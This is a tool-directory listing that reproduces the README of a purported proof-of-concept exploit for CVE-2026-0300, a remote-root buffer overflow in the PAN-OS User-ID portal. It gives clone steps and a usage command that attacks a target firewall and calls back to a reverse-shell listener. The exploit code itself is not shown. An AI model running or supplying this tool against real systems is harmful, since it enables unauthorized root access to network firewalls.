Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/p3nt3st3r-star/cve-2026-0300-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubp3nt3st3r-star/cve-2026-0300-poc

CVE-2026-0300-POC

Proof-of-concept for CVE-2026-0300, a critical buffer overflow in PAN-OS User-ID Portal enabling unauthenticated remote code execution with root privileges.

View Repository
21113 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🛡️ CVE-2026-0300: PAN-OS User-ID™ Portal RCE Analysis

Research Proof-of-Concept: CWE-787 Out-of-bounds Write

Security Python License Dependencies

📌 Overview

CVE-2026-0300 is a high-severity buffer overflow vulnerability identified in the Palo Alto Networks PAN-OS User-ID™ Authentication Portal (Captive Portal). This research repository demonstrates the technical logic of the vulnerability, specifically focusing on how an unauthenticated network packet can lead to Remote Code Execution (RCE) with root privileges.

📊 Vulnerability Breakdown

FeatureDetails
CVE IDCVE-2026-0300
Severity Score9.3 (Critical)
Weakness TypeCWE-787: Out-of-bounds Write
Attack VectorNetwork (Unauthenticated)
Privileges RequiredNone
User InteractionNone
Affected SoftwarePAN-OS 12.1, 11.2, 11.1, 10.2

🔬 Technical Mechanism

The vulnerability occurs when the User-ID Authentication Portal service fails to validate the length of incoming data before writing it to a memory buffer.

  1. The Buffer: The service allocates a fixed-size memory area for processing portal requests.
  2. The Overflow: A specially crafted POST request sends a payload exceeding this size.
  3. The Overwrite: Excess data overwrites the stack/heap, allowing the attacker to control the Instruction Pointer (EIP/RIP) and execute arbitrary shellcode.

🛠️ Installation & Setup

1. Prerequisites

  • Python 3.9 or higher.
  • No external libraries required (Uses standard socket, struct, and argparse).

2. Cloning the Research Tool

Clone the repository

root@kitploit:~
git clone https://github.com/p3Nt3st3r-sTAr/CVE-2026-0300-POC.git

Navigate to the folder

root@kitploit:~
cd CVE-2026-0300-POC

Make the script executable

root@kitploit:~
chmod +x research_poc.py

🚀 Usage Guide

This tool is designed with a professional CLI (Command Line Interface).

Basic Command

root@kitploit:~
python3 research_poc.py -t <TARGET_IP> --lhost <LISTEN_IP> -L <LISTEN_PORT>

Advanced Parameters

FlagNameDescriptionDefault
-t--target(Required) Target IP address of the firewall.N/A
-p--portThe port running the User-ID Portal.6082
-o--offsetThe byte length to reach the memory overflow point.2048
-r--retThe Hexadecimal return address.0xdeadbeef
-l--lhostreverse shell ip addressYour IP
-L--lportYour Listener Port4444

🛡️ Mitigation & Safety

  • Update PAN-OS: Install the latest security patches (Released May 2026).
  • IP Restriction: Restrict portal access to trusted internal IP zones.
  • Disable Portal: If User-ID Authentication is not required, disable the feature.

⚠️ Ethical & Legal Disclaimer

FOR EDUCATIONAL AND AUTHORIZED RESEARCH ONLY. Unauthorized testing against systems you do not own is illegal. The author is not responsible for any misuse of this research code. Use responsibly to improve global security. Developed By: https://t.me/p3Nt3st3rsTAr Vulnerability Discovery Date: May 07, 2026

Download Tool